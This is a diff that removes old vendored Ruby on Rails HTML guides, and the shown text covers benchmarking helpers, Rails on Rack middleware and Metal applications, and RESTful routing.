3.1. Model

-
-
-
Project.benchmark("Creating project") do
-  project = Project.create("name" => "stuff")
-  project.create_manager("name" => "David")
-  project.milestones << Milestone.find(:all)
-end
-

This benchmarks the code enclosed in the Project.benchmark("Creating project") do..end block and prints the result to the log file:

-
-
-
Creating project (185.3ms)
-

Please refer to the API docs for additional options to benchmark()

-

3.2. Controller

-

Similarly, you could use this helper method inside controllers

-
- - - -
-Note -benchmark is a class method inside controllers
-
-
-
-
def process_projects
-  self.class.benchmark("Processing projects") do
-    Project.process(params[:project_ids])
-    Project.update_cached_projects
-  end
-end
-

3.3. View

-

And in views:

-
-
-
<% benchmark("Showing projects partial") do %>
-  <%= render :partial => @projects %>
-<% end %>
-
-

4. Request Logging

-
-

Rails log files contain very useful information about the time taken to serve each request. Here’s a typical log file entry:

-
-
-
Processing ItemsController#index (for 127.0.0.1 at 2009-01-08 03:06:39) [GET]
-Rendering template within layouts/items
-Rendering items/index
-Completed in 5ms (View: 2, DB: 0) | 200 OK [http://0.0.0.0/items]
-

For this section, we’re only interested in the last line:

-
-
-
Completed in 5ms (View: 2, DB: 0) | 200 OK [http://0.0.0.0/items]
-

This data is fairly straightforward to understand. Rails uses millisecond(ms) as the metric to measures the time taken. The complete request spent 5 ms inside Rails, out of which 2 ms were spent rendering views and none was spent communication with the database. It’s safe to assume that the remaining 3 ms were spent inside the controller.

-

Michael Koziarski has an interesting blog post explaining the importance of using milliseconds as the metric.

-
-

5. Useful Links

-
-

5.1. Rails Plugins and Gems

-
-

5.2. Generic Tools

-
-

5.3. Tutorials and Documentation

-
-
-

6. Commercial Products

-
-

Rails has been lucky to have three startups dedicated to Rails specific performance tools:

-
-
-

7. Changelog

-
-

Lighthouse ticket

-
    -
  • -

    -January 9, 2009: Complete rewrite by Pratik -

    -
    • -
  • -

    -September 6, 2008: Initial version by Matthew Bergman -

    -
    • -
-
- -
-
- - diff --git a/vendor/rails/railties/doc/guides/html/rails_on_rack.html b/vendor/rails/railties/doc/guides/html/rails_on_rack.html deleted file mode 100644 index eb1ff6ef..00000000 --- a/vendor/rails/railties/doc/guides/html/rails_on_rack.html +++ /dev/null @@ -1,450 +0,0 @@ - - - - - Rails on Rack - - - - - - - - -
- - - -
-

Rails on Rack

-
-
-

This guide covers Rails integration with Rack and interfacing with other Rack components. By referring to this guide, you will be able to:

-
    -
  • -

    -Create Rails Metal applications -

    -
    • -
  • -

    -Use Rack Middlewares in your Rails applications -

    -
    • -
  • -

    -Understand Action Pack’s internal Middleware stack -

    -
    • -
  • -

    -Define custom internal Middleware stack -

    -
    • -
  • -

    -Understand the best practices for developing a middleware aimed at Rails applications -

    -
    • -
-
- - - -
-Note -This guide assumes a working knowledge of Rack protocol and Rack concepts such as middlewares, url maps and Rack::Builder.
-
-
-
-

1. Introduction to Rack

-
-
-
-

Rack provides a minimal, modular and adaptable interface for developing web applications in Ruby. By wrapping HTTP requests and responses in the simplest way possible, it unifies and distills the API for web servers, web frameworks, and software in between (the so-called middleware) into a single method call.

-
-
-

Explaining Rack is not really in the scope of this guide. In case you are not familiar with Rack’s basics, you should check out the following links:

-
-
-

2. Rails on Rack

-
-

2.1. ActionController::Dispatcher.new

-

ActionController::Dispatcher.new is the primary Rack application object of a Rails application. It responds to call method with a single env argument and returns a Rack response. Any Rack compliant web server should be using ActionController::Dispatcher.new object to serve a Rails application.

-

2.2. script/server

-

script/server does the basic job of creating a Rack::Builder object and starting the webserver. This is Rails equivalent of Rack’s rackup script.

-

Here’s how script/server creates an instance of Rack::Builder

-
-
-
app = Rack::Builder.new {
-  use Rails::Rack::LogTailer unless options[:detach]
-  use Rails::Rack::Static
-  use Rails::Rack::Debugger if options[:debugger]
-  run ActionController::Dispatcher.new
-}.to_app
-

Middlewares used in the code above are most useful in development envrionment. The following table explains their usage:

-
- --- - - - - - - - - - - - - - - - - - - - -
Middleware Purpose

Rails::Rack::LogTailer

Appends log file output to console

Rails::Rack::Static

Serves static files inside RAILS_ROOT/public directory

Rails::Rack::Debugger

Starts Debugger

-
-

2.3. rackup

-

To use rackup instead of Rails' script/server, you can put the following inside config.ru of your Rails application’s root directory:

-
-
-
# RAILS_ROOT/config.ru
-require "config/environment"
-
-use Rails::Rack::LogTailer
-use Rails::Rack::Static
-run ActionController::Dispatcher.new
-

And start the server:

-
-
-
[lifo@null application]$ rackup
-

To find out more about different rackup options:

-
-
-
[lifo@null application]$ rackup --help
-
-

3. Action Controller Middleware Stack

-
-

Many of Action Controller’s internal components are implemented as Rack middlewares. ActionController::Dispatcher uses ActionController::MiddlewareStack to combine various internal and external middlewares to form a complete Rails Rack application.

-
- - - -
-Note - -
What is ActionController::MiddlewareStack ?
ActionController::MiddlewareStack is Rails equivalent of Rack::Builder, but built for better flexibility and more features to meet Rails' requirements.
-
-

3.1. Inspecting Middleware Stack

-

Rails has a handy rake task for inspecting the middleware stack in use:

-
-
-
$ rake middleware
-

For a freshly generated Rails application, this will produce:

-
-
-
use ActionController::Lock
-use ActionController::Failsafe
-use ActiveRecord::QueryCache
-use ActionController::Session::CookieStore, {:secret=>"<secret>", :session_key=>"_<app>_session"}
-use Rails::Rack::Metal
-use ActionController::VerbPiggybacking
-run ActionController::Dispatcher.new
-

3.2. Adding Middlewares

-

Rails provides a very simple configuration interface for adding generic Rack middlewares to a Rails applications.

-

Here’s how you can add middlewares via environment.rb

-
-
-
# environment.rb
-
-config.middleware.use Rack::BounceFavicon
-

3.3. Internal Middleware Stack

-
-
-
use "ActionController::Lock", :if => lambda {
-  !ActionController::Base.allow_concurrency
-}
-
-use "ActionController::Failsafe"
-
-use "ActiveRecord::QueryCache", :if => lambda { defined?(ActiveRecord) }
-
-["ActionController::Session::CookieStore",
- "ActionController::Session::MemCacheStore",
- "ActiveRecord::SessionStore"].each do |store|
-   use(store, ActionController::Base.session_options,
-      :if => lambda {
-        if session_store = ActionController::Base.session_store
-          session_store.name == store
-        end
-      }
-    )
-end
-
-use ActionController::VerbPiggybacking
-
- --- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Middleware Purpose

ActionController::Lock

Sets env["rack.multithread"] flag to true and wraps the application within a Mutex.

ActionController::Failsafe

Returns HTTP Status 500 to the client if an exception gets raised while dispatching.

ActiveRecord::QueryCache

Enable the Active Record query cache.

ActionController::Session::CookieStore

Uses the cookie based session store.

ActionController::Session::MemCacheStore

Uses the memcached based session store.

ActiveRecord::SessionStore

Uses the database based session store.

ActionController::VerbPiggybacking

Sets HTTP method based on _method parameter or env["HTTP_X_HTTP_METHOD_OVERRIDE"].

-
-

3.4. Customizing Internal Middleware Stack

-

VERIFY THIS WORKS. Just a code dump at the moment.

-

Put the following in an initializer.

-
-
-
ActionController::Dispatcher.middleware = ActionController::MiddlewareStack.new do |m|
-  m.use ActionController::Lock
-  m.use ActionController::Failsafe
-  m.use ActiveRecord::QueryCache
-  m.use ActionController::Session::CookieStore
-  m.use ActionController::VerbPiggybacking
-end
-

Josh says :

-
-
-

3.3: I wouldn’t recommend this: custom internal stack -i’d recommend using config.middleware.use api -we still need a better api for swapping out existing middleware, etc -config.middleware.swap AC::Sessions, My::Sessoins -or something like that

-
-
-

4. Rails Metal Applications

-
-

Rails Metal applications are minimal Rack applications specially designed for integrating with a typical Rails application. As Rails Metal Applications skip all of the Action Controller stack, serving a request has no overhead from the Rails framework itself. This is especially useful for infrequent cases where the performance of the full stack Rails framework is an issue.

-

4.1. Generating a Metal Application

-

Rails provides a generator called performance_test for creating new performance tests:

-
-
-
script/generate metal poller
-

This generates poller.rb in the app/metal directory:

-
-
-
# Allow the metal piece to run in isolation
-require(File.dirname(__FILE__) + "/../../config/environment") unless defined?(Rails)
-
-class Poller
-  def self.call(env)
-    if env["PATH_INFO"] =~ /^\/poller/
-      [200, {"Content-Type" => "text/html"}, ["Hello, World!"]]
-    else
-      [404, {"Content-Type" => "text/html"}, ["Not Found"]]
-    end
-  end
-end
-

Metal applications are an optimization. You should make sure to understand the related performance implications before using it.

-

4.2. Execution Order

-

All Metal Applications are executed by Rails::Rack::Metal middleware, which is a part of the ActionController::MiddlewareStack chain.

-

Here’s the primary method responsible for running the Metal applications:

-
-
-
def call(env)
-  @metals.keys.each do |app|
-    result = app.call(env)
-    return result unless result[0].to_i == 404
-  end
-  @app.call(env)
-end
-

In the code above, @metals is an ordered ( alphabetical ) hash of metal applications. Due to the alphabetical ordering, aaa.rb will come before bbb.rb in the metal chain.

-
- - - -
-Important -Metal applications cannot return the HTTP Status 404 to a client, as it is used for continuing the Metal chain execution. Please use normal Rails controllers or a custom middleware if returning 404 is a requirement.
-
-
-

5. Middlewares and Rails

-
-
-

6. Changelog

-
-

Lighthouse ticket

-
    -
  • -

    -January 11, 2009: First version by Pratik -

    -
    • -
-
- -
-
- - diff --git a/vendor/rails/railties/doc/guides/html/routing_outside_in.html b/vendor/rails/railties/doc/guides/html/routing_outside_in.html deleted file mode 100644 index 22477e18..00000000 --- a/vendor/rails/railties/doc/guides/html/routing_outside_in.html +++ /dev/null @@ -1,1591 +0,0 @@ - - - - - Rails Routing from the Outside In - - - - - - - - -
- - - -
-

Rails Routing from the Outside In

-
-
-

This guide covers the user-facing features of Rails routing. By referring to this guide, you will be able to:

-
    -
  • -

    -Understand the purpose of routing -

    -
    • -
  • -

    -Decipher the code in routes.rb -

    -
    • -
  • -

    -Construct your own routes, using either the classic hash style or the now-preferred RESTful style -

    -
    • -
  • -

    -Identify how a route will map to a controller and action -

    -
    • -
-
-
-

1. The Dual Purpose of Routing

-
-

Rails routing is a two-way piece of machinery - rather as if you could turn trees into paper, and then turn paper back into trees. Specifically, it both connects incoming HTTP requests to the code in your application’s controllers, and helps you generate URLs without having to hard-code them as strings.

-

1.1. Connecting URLs to Code

-

When your Rails application receives an incoming HTTP request, say

-
-
-
GET /patients/17
-
-

the routing engine within Rails is the piece of code that dispatches the request to the appropriate spot in your application. In this case, the application would most likely end up running the show action within the patients controller, displaying the details of the patient whose ID is 17.

-

1.2. Generating URLs from Code

-

Routing also works in reverse. If your application contains this code:

-
-
-
@patient = Patient.find(17)
-<%= link_to "Patient Record", patient_path(@patient) %>
-

Then the routing engine is the piece that translates that to a link to a URL such as http://example.com/patients/17. By using routing in this way, you can reduce the brittleness of your application as compared to one with hard-coded URLs, and make your code easier to read and understand.

-
- - - -
-Note -Patient needs to be declared as a resource for this style of translation via a named route to be available.
-
-
-

2. Quick Tour of Routes.rb

-
-

There are two components to routing in Rails: the routing engine itself, which is supplied as part of Rails, and the file config/routes.rb, which contains the actual routes that will be used by your application. Learning exactly what you can put in routes.rb is the main topic of this guide, but before we dig in let’s get a quick overview.

-

2.1. Processing the File

-

In format, routes.rb is nothing more than one big block sent to ActionController::Routing::Routes.draw. Within this block, you can have comments, but it’s likely that most of your content will be individual lines of code - each line being a route in your application. You’ll find five main types of content in this file:

-
    -
  • -

    -RESTful Routes -

    -
    • -
  • -

    -Named Routes -

    -
    • -
  • -

    -Nested Routes -

    -
    • -
  • -

    -Regular Routes -

    -
    • -
  • -

    -Default Routes -

    -
    • -
-

Each of these types of route is covered in more detail later in this guide.

-

The routes.rb file is processed from top to bottom when a request comes in. The request will be dispatched to the first matching route. If there is no matching route, then Rails returns HTTP status 404 to the caller.

-

2.2. RESTful Routes

-

RESTful routes take advantage of the built-in REST orientation of Rails to wrap up a lot of routing information in a single declaration. A RESTful route looks like this:

-
-
-
map.resources :books
-

2.3. Named Routes

-

Named routes give you very readable links in your code, as well as handling incoming requests. Here’s a typical named route:

-
-
-
map.login '/login', :controller => 'sessions', :action => 'new'
-

2.4. Nested Routes

-

Nested routes let you declare that one resource is contained within another resource. You’ll see later on how this translates to URLs and paths in your code. For example, if your application includes parts, each of which belongs to an assembly, you might have this nested route declaration:

-
-
-
map.resources :assemblies do |assemblies|
-  assemblies.resources :parts
-end
-

2.5. Regular Routes

-

In many applications, you’ll also see non-RESTful routing, which explicitly connects the parts of a URL to a particular action. For example,

-
-
-
map.connect 'parts/:number', :controller => 'inventory', :action => 'show'
-

2.6. Default Routes

-

The default routes are a safety net that catch otherwise-unrouted requests. Many Rails applications will contain this pair of default routes:

-
-
-
map.connect ':controller/:action/:id'
-map.connect ':controller/:action/:id.:format'
-

These default routes are automatically generated when you create a new Rails application. If you’re using RESTful routing for everything in your application, you will probably want to remove them. But be sure you’re not using the default routes before you remove them!

-
-

3. RESTful Routing: the Rails Default

-
-

RESTful routing is the current standard for routing in Rails, and it’s the one that you should prefer for new applications. It can take a little while to understand how RESTful routing works, but it’s worth the effort; your code will be easier to read and you’ll be working with Rails, rather than fighting against it, when you use this style of routing.

-

3.1. What is REST?

-

The foundation of RESTful routing is generally considered to be Roy Fielding’s doctoral thesis, Architectural Styles and the Design of Network-based Software Architectures. Fortunately, you need not read this entire document to understand how REST works in Rails. REST, an acronym for Representational State Transfer, boils down to two main principles for our purposes:

-
    -
  • -

    -Using resource identifiers (which, for the purposes of discussion, you can think of as URLs) to represent resources -

    -
    • -
  • -

    -Transferring representations of the state of that resource between system components. -

    -
    • -
-

For example, to a Rails application a request such as this:

-

DELETE /photos/17

-

would be understood to refer to a photo resource with the ID of 17, and to indicate a desired action - deleting that resource. REST is a natural style for the architecture of web applications, and Rails makes it even more natural by using conventions to shield you from some of the RESTful complexities.

-

3.2. CRUD, Verbs, and Actions

-

In Rails, a RESTful route provides a mapping between HTTP verbs, controller actions, and (implicitly) CRUD operations in a database. A single entry in the routing file, such as

-
-
-
map.resources :photos
-

creates seven different routes in your application:

-
- ------ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
HTTP verb URL controller action used for

GET

/photos

Photos

index

display a list of all photos

GET

/photos/new

Photos

new

return an HTML form for creating a new photo

POST

/photos

Photos

create

create a new photo

GET

/photos/1

Photos

show

display a specific photo

GET

/photos/1/edit

Photos

edit

return an HTML form for editing a photo

PUT

/photos/1

Photos

update

update a specific photo

DELETE

/photos/1

Photos

destroy

delete a specific photo

-
-

For the specific routes (those that reference just a single resource), the identifier for the resource will be available within the corresponding controller action as params[:id].

-
- - - -
-Tip -If you consistently use RESTful routes in your application, you should disable the default routes in routes.rb so that Rails will enforce the mapping between HTTP verbs and routes.
-
-

3.3. URLs and Paths

-

Creating a RESTful route will also make available a pile of helpers within your application:

-
    -
  • -

    -photos_url and photos_path map to the path for the index and create actions -

    -
    • -
  • -

    -new_photo_url and new_photo_path map to the path for the new action -

    -
    • -
  • -

    -edit_photo_url and edit_photo_path map to the path for the edit action -

    -
    • -
  • -

    -photo_url and photo_path map to the path for the show, update, and destroy actions -

    -
    • -
-
- - - -
-Note -Because routing makes use of the HTTP verb as well as the path in the request to dispatch requests, the seven routes generated by a RESTful routing entry only give rise to four pairs of helpers.
-
-

In each case, the _url helper generates a string containing the entire URL that the application will understand, while the _path helper generates a string containing the relative path from the root of the application. For example:

-
-
-
photos_url  # => "http://www.example.com/photos"
-photos_path # => "/photos"
-

3.4. Defining Multiple Resources at the Same Time

-

If you need to create routes for more than one RESTful resource, you can save a bit of typing by defining them all with a single call to map.resources:

-
-
-
map.resources :photos, :books, :videos
-

This has exactly the same effect as

-
-
-
map.resources :photos
-map.resources :books
-map.resources :videos
-

3.5. Singular Resources

-

You can also apply RESTful routing to singleton resources within your application. In this case, you use map.resource instead of map.resources and the route generation is slightly different. For example, a routing entry of

-
-
-
map.resource :geocoder
-

creates six different routes in your application:

-
- ------ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
HTTP verb URL controller action used for

GET

/geocoder/new

Geocoders

new

return an HTML form for creating the new geocoder

POST

/geocoder

Geocoders

create

create the new geocoder

GET

/geocoder

Geocoders

show

display the one and only geocoder resource

GET

/geocoder/edit

Geocoders

edit

return an HTML form for editing the geocoder

PUT

/geocoder

Geocoders

update

update the one and only geocoder resource

DELETE

/geocoder

Geocoders

destroy

delete the geocoder resource

-
-
- - - -
-Note -Even though the name of the resource is singular in routes.rb, the matching controller is still plural.
-
-

A singular RESTful route generates an abbreviated set of helpers:

-
    -
  • -

    -new_geocoder_url and new_geocoder_path map to the path for the new action -

    -
    • -
  • -

    -edit_geocoder_url and edit_geocoder_path map to the path for the edit action -

    -
    • -
  • -

    -geocoder_url and geocoder_path map to the path for the create, show, update, and destroy actions -

    -
    • -
-

3.6. Customizing Resources

-

Although the conventions of RESTful routing are likely to be sufficient for many applications, there are a number of ways to customize the way that RESTful routes work. These options include:

-
    -
  • -

    -:controller -

    -
    • -
  • -

    -:singular -

    -
    • -
  • -

    -:requirements -

    -
    • -
  • -

    -:conditions -

    -
    • -
  • -

    -:as -

    -
    • -
  • -

    -:path_names -

    -
    • -
  • -

    -:path_prefix -

    -
    • -
  • -

    -:name_prefix -

    -
    • -
  • -

    -:only -

    -
    • -
  • -

    -:except -

    -
    • -
-

You can also add additional routes via the :member and :collection options, which are discussed later in this guide.

-

3.6.1. Using :controller

-

The :controller option lets you use a controller name that is different from the public-facing resource name. For example, this routing entry:

-
-
-
map.resources :photos, :controller => "images"
-

will recognize incoming URLs containing photo but route the requests to the Images controller:

-
- ------ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
HTTP verb URL controller action used for

GET

/photos

Images

index

display a list of all images

GET

/photos/new

Images

new

return an HTML form for creating a new image

POST

/photos

Images

create

create a new image

GET

/photos/1

Images

show

display a specific image

GET

/photos/1/edit

Images

edit

return an HTML form for editing a image

PUT

/photos/1

Images

update

update a specific image

DELETE

/photos/1

Images

destroy

delete a specific image

-
-
- - - -
-Note -The helpers will be generated with the name of the resource, not the name of the controller. So in this case, you’d still get photos_path, new_photo_path, and so on.
-
-

3.7. Controller Namespaces and Routing

-

Rails allows you to group your controllers into namespaces by saving them in folders underneath app/controllers. The :controller option provides a convenient way to use these routes. For example, you might have a resource whose controller is purely for admin users in the admin folder:

-
-
-
map.resources :adminphotos, :controller => "admin/photos"
-

If you use controller namespaces, you need to be aware of a subtlety in the Rails routing code: it always tries to preserve as much of the namespace from the previous request as possible. For example, if you are on a view generated from the adminphoto_path helper, and you follow a link generated with <%= link_to "show", adminphoto(1) %> you will end up on the view generated by admin/photos/show but you will also end up in the same place if you have <%= link_to "show", {:controller => "photos", :action => "show"} %> because Rails will generate the show URL relative to the current URL.

-
- - - -
-Tip -If you want to guarantee that a link goes to a top-level controller, use a preceding slash to anchor the controller name: <%= link_to "show", {:controller => "/photos", :action => "show"} %>
-
-

You can also specify a controller namespace with the :namespace option instead of a path:

-
-
-
map.resources :adminphotos, :namespace => "admin", :controller => "photos"
-

This can be especially useful when combined with with_options to map multiple namespaced routes together:

-
-
-
map.with_options(:namespace => "admin") do |admin|
-  admin.resources :photos, :videos
-end
-

That would give you routing for admin/photos and admin/videos controllers.

-

3.7.1. Using :singular

-

If for some reason Rails isn’t doing what you want in converting the plural resource name to a singular name in member routes, you can override its judgment with the :singular option:

-
-
-
map.resources :teeth, :singular => "tooth"
-
- - - -
-Tip -Depending on the other code in your application, you may prefer to add additional rules to the Inflector class instead.
-
-

3.7.2. Using :requirements

-

You an use the :requirements option in a RESTful route to impose a format on the implied :id parameter in the singular routes. For example:

-
-
-
map.resources :photos, :requirements => {:id => /[A-Z][A-Z][0-9]+/}
-

This declaration constrains the :id parameter to match the supplied regular expression. So, in this case, /photos/1 would no longer be recognized by this route, but /photos/RR27 would.

-

3.7.3. Using :conditions

-

Conditions in Rails routing are currently used only to set the HTTP verb for individual routes. Although in theory you can set this for RESTful routes, in practice there is no good reason to do so. (You’ll learn more about conditions in the discussion of classic routing later in this guide.)

-

3.7.4. Using :as

-

The :as option lets you override the normal naming for the actual generated paths. For example:

-
-
-
map.resources :photos, :as => "images"
-

will recognize incoming URLs containing image but route the requests to the Photos controller:

-
- ------ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
HTTP verb URL controller action used for

GET

/images

Photos

index

display a list of all photos

GET

/images/new

Photos

new

return an HTML form for creating a new photo

POST

/images

Photos

create

create a new photo

GET

/images/1

Photos

show

display a specific photo

GET

/images/1/edit

Photos

edit

return an HTML form for editing a photo

PUT

/images/1

Photos

update

update a specific photo

DELETE

/images/1

Photos

destroy

delete a specific photo

-
-
- - - -
-Note -The helpers will be generated with the name of the resource, not the path name. So in this case, you’d still get photos_path, new_photo_path, and so on.
-
-

3.7.5. Using :path_names

-

The :path_names option lets you override the automatically-generated "new" and "edit" segments in URLs:

-
-
-
map.resources :photos, :path_names => { :new => 'make', :edit => 'change' }
-

This would cause the routing to recognize URLs such as

-
-
-
/photos/make
-/photos/1/change
-
-
- - - -
-Note -The actual action names aren’t changed by this option; the two URLs show would still route to the new and edit actions.
-
-
- - - -
-Tip -If you find yourself wanting to change this option uniformly for all of your routes, you can set a default in your environment:
-
-
-
-
config.action_controller.resources_path_names = { :new => 'make', :edit => 'change' }
-

3.7.6. Using :path_prefix

-

The :path_prefix option lets you add additional parameters that will be prefixed to the recognized paths. For example, suppose each photo in your application belongs to a particular photographer. In that case, you might declare this route:

-
-
-
map.resources :photos, :path_prefix => '/photographers/:photographer_id'
-

Routes recognized by this entry would include:

-
-
-
/photographers/1/photos/2
-/photographers/1/photos
-
-
- - - -
-Note -In most cases, it’s simpler to recognize URLs of this sort by creating nested resources, as discussed in the next section.
-
-
- - - -
-Note -You can also use :path_prefix with non-RESTful routes.
-
-

3.7.7. Using :name_prefix

-

You can use the :name_prefix option to avoid collisions between routes. This is most useful when you have two resources with the same name that use :path_prefix to map differently. For example:

-
-
-
map.resources :photos, :path_prefix => '/photographers/:photographer_id', :name_prefix => 'photographer_'
-map.resources :photos, :path_prefix => '/agencies/:agency_id', :name_prefix => 'agency_'
-

This combination will give you route helpers such as photographer_photos_path and agency_edit_photo_path to use in your code.

-
- - - -
-Note -You can also use :name_prefix with non-RESTful routes.
-
-

3.7.8. Using :only and :except

-

By default, Rails creates routes for all seven of the default actions (index, show, new, create, edit, update, and destroy) for every RESTful route in your application. You can use the :only and :except options to fine-tune this behavior. The :only option specifies that only certain routes should be generated:

-
-
-
map.resources :photos, :only => [:index, :show]
-

With this declaration, a GET request to /photos would succeed, but a POST request to /photos (which would ordinarily be routed to the create action) will fail.

-

The :except option specifies a route or list of routes that should not be generated:

-
-
-
map.resources :photos, :except => :destroy
-

In this case, all of the normal routes except the route for destroy (a DELETE request to /photos/id) will be generated.

-

In addition to an action or a list of actions, you can also supply the special symbols :all or :none to the :only and :except options.

-
- - - -
-Tip -If your application has many RESTful routes, using :only and :except to generate only the routes that you actually need can cut down on memory use and speed up the routing process.
-
-

3.8. Nested Resources

-

It’s common to have resources that are logically children of other resources. For example, suppose your application includes these models:

-
-
-
class Magazine < ActiveRecord::Base
-  has_many :ads
-end
-
-class Ad < ActiveRecord::Base
-  belongs_to :magazine
-end
-

Each ad is logically subservient to one magazine. Nested routes allow you to capture this relationship in your routing. In this case, you might include this route declaration:

-
-
-
map.resources :magazines do |magazine|
-  magazine.resources :ads
-end
-

In addition to the routes for magazines, this declaration will also create routes for ads, each of which requires the specification of a magazine in the URL:

-
- ------ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
HTTP verb URL controller action used for

GET

/magazines/1/ads

Ads

index

display a list of all ads for a specific magazine

GET

/magazines/1/ads/new

Ads

new

return an HTML form for creating a new ad belonging to a specific magazine

POST

/magazines/1/ads

Ads

create

create a new ad belonging to a specific magazine

GET

/magazines/1/ads/1

Ads

show

display a specific ad belonging to a specific magazine

GET

/magazines/1/ads/1/edit

Ads

edit

return an HTML form for editing an ad belonging to a specific magazine

PUT

/magazines/1/ads/1

Ads

update

update a specific ad belonging to a specific magazine

DELETE

/magazines/1/ads/1

Ads

destroy

delete a specific ad belonging to a specific magazine

-
-

This will also create routing helpers such as magazine_ads_url and edit_magazine_ad_path.

-

3.8.1. Using :name_prefix

-

The :name_prefix option overrides the automatically-generated prefix in nested route helpers. For example,

-
-
-
map.resources :magazines do |magazine|
-  magazine.resources :ads, :name_prefix => 'periodical'
-end
-

This will create routing helpers such as periodical_ads_url and periodical_edit_ad_path. You can even use :name_prefix to suppress the prefix entirely:

-
-
-
map.resources :magazines do |magazine|
-  magazine.resources :ads, :name_prefix => nil
-end
-

This will create routing helpers such as ads_url and edit_ad_path. Note that calling these will still require supplying an article id:

-
-
-
ads_url(@magazine)
-edit_ad_path(@magazine, @ad)
-

3.8.2. Using :has_one and :has_many

-

The :has_one and :has_many options provide a succinct notation for simple nested routes. Use :has_one to nest a singleton resource, or :has_many to nest a plural resource:

-
-
-
map.resources :photos, :has_one => :photographer, :has_many => [:publications, :versions]
-

This has the same effect as this set of declarations:

-
-
-
map.resources :photos do |photo|
-  photo.resource :photographer
-  photo.resources :publications
-  photo.resources :versions
-end
-

3.8.3. Limits to Nesting

-

You can nest resources within other nested resources if you like. For example:

-
-
-
map.resources :publishers do |publisher|
-  publisher.resources :magazines do |magazine|
-    magazine.resources :photos
-  end
-end
-

However, without the use of name_prefix => nil, deeply-nested resources quickly become cumbersome. In this case, for example, the application would recognize URLs such as

-
-
-
/publishers/1/magazines/2/photos/3
-
-

The corresponding route helper would be publisher_magazine_photo_url, requiring you to specify objects at all three levels. Indeed, this situation is confusing enough that a popular article by Jamis Buck proposes a rule of thumb for good Rails design:

-

Resources should never be nested more than 1 level deep.

-

3.8.4. Shallow Nesting

-

The :shallow option provides an elegant solution to the difficulties of deeply-nested routes. If you specify this option at any level of routing, then paths for nested resources which reference a specific member (that is, those with an :id parameter) will not use the parent path prefix or name prefix. To see what this means, consider this set of routes:

-
-
-
map.resources :publishers, :shallow => true do |publisher|
-  publisher.resources :magazines do |magazine|
-    magazine.resources :photos
-  end
-end
-

This will enable recognition of (among others) these routes:

-
-
-
/publishers/1           ==> publisher_path(1)
-/publishers/1/magazines ==> publisher_magazines_path(1)
-/magazines/2            ==> magazine_path(2)
-/magazines/2/photos     ==> magazines_photos_path(2)
-/photos/3               ==> photo_path(3)
-
-

With shallow nesting, you need only supply enough information to uniquely identify the resource that you want to work with. If you like, you can combine shallow nesting with the :has_one and :has_many options:

-
-
-
map.resources :publishers, :has_many => { :magazines => :photos }, :shallow => true
-

3.9. Route Generation from Arrays

-

In addition to using the generated routing helpers, Rails can also generate RESTful routes from an array of parameters. For example, suppose you have a set of routes generated with these entries in routes.rb:

-
-
-
map.resources :magazines do |magazine|
-  magazine.resources :ads
-end
-

Rails will generate helpers such as magazine_ad_path that you can use in building links:

-
-
-
<%= link_to "Ad details", magazine_ad_path(@magazine, @ad) %>
-

Another way to refer to the same route is with an array of objects:

-
-
-
<%= link_to "Ad details", [@magazine, @ad] %>
-

This format is especially useful when you might not know until runtime which of several types of object will be used in a particular link.

-

3.10. Namespaced Resources

-

It’s possible to do some quite complex things by combining :path_prefix and :name_prefix. For example, you can use the combination of these two options to move administrative resources to their own folder in your application:

-
-
-
map.resources :photos, :path_prefix => 'admin', :controller => 'admin/photos'
-map.resources :tags, :name_prefix => 'admin_photo_', :path_prefix => 'admin/photos/:photo_id', :controller => 'admin/photo_tags'
-map.resources :ratings, :name_prefix => 'admin_photo_', :path_prefix => 'admin/photos/:photo_id', :controller => 'admin/photo_ratings'
-

The good news is that if you find yourself using this level of complexity, you can stop. Rails supports namespaced resources to make placing resources in their own folder a snap. Here’s the namespaced version of those same three routes:

-
-
-
map.namespace(:admin) do |admin|
-        admin.resources :photos,
-          :has_many => { :tags, :ratings}
-end
-

As you can see, the namespaced version is much more succinct than the one that spells everything out - but it still creates the same routes. For example, you’ll get admin_photos_url that expects to find an Admin::PhotosController and that matches admin/photos, and admin_photos_ratings_path that matches /admin/photos/photo_id/ratings, expecting to use Admin::RatingsController. Even though you’re not specifying path_prefix explicitly, the routing code will calculate the appropriate path_prefix from the route nesting.

-

3.11. Adding More RESTful Actions

-

You are not limited to the seven routes that RESTful routing creates by default. If you like, you may add additional member routes (those which apply to a single instance of the resource), additional new routes (those that apply to creating a new resource), or additional collection routes (those which apply to the collection of resources as a whole).

-

3.11.1. Adding Member Routes

-

To add a member route, use the :member option:

-
-
-
map.resources :photos, :member => { :preview => :get }
-

This will enable Rails to recognize URLs such as /photos/1/preview using the GET HTTP verb, and route them to the preview action of the Photos controller. It will also create a preview_photo route helper.

-

Within the hash of member routes, each route name specifies the HTTP verb that it will recognize. You can use :get, :put, :post, :delete, or :any here. You can also specify an array of methods, if you need more than one but you don’t want to allow just anything:

-
-
-
map.resources :photos, :member => { :prepare => [:get, :post] }
-

3.11.2. Adding Collection Routes

-

To add a collection route, use the :collection option:

-
-
-
map.resources :photos, :collection => { :search => :get }
-

This will enable Rails to recognize URLs such as /photos/search using the GET HTTP verb, and route them to the search action of the Photos controller. It will also create a search_photos route helper.

-

Just as with member routes, you can specify an array of methods for a collection route:

-
-
-
map.resources :photos, :collection => { :search => [:get, :post] }
-

3.11.3. Adding New Routes

-

To add a new route (one that creates a new resource), use the :new option:

-
-
-
map.resources :photos, :new => { :upload => :post }
-

This will enable Rails to recognize URLs such as /photos/upload using the POST HTTP verb, and route them to the upload action of the Photos controller. It will also create a upload_photos route helper.

-
- - - -
-Tip -If you want to redefine the verbs accepted by one of the standard actions, you can do so by explicitly mapping that action. For example:
-
-
-
-
map.resources :photos, :new => { :new => :any }
-

This will allow the new action to be invoked by any request to photos/new, no matter what HTTP verb you use.

-

3.11.4. A Note of Caution

-

If you find yourself adding many extra actions to a RESTful route, it’s time to stop and ask yourself whether you’re disguising the presence of another resource that would be better split off on its own. When the :member and :collection hashes become a dumping-ground, RESTful routes lose the advantage of easy readability that is one of their strongest points.

-
-

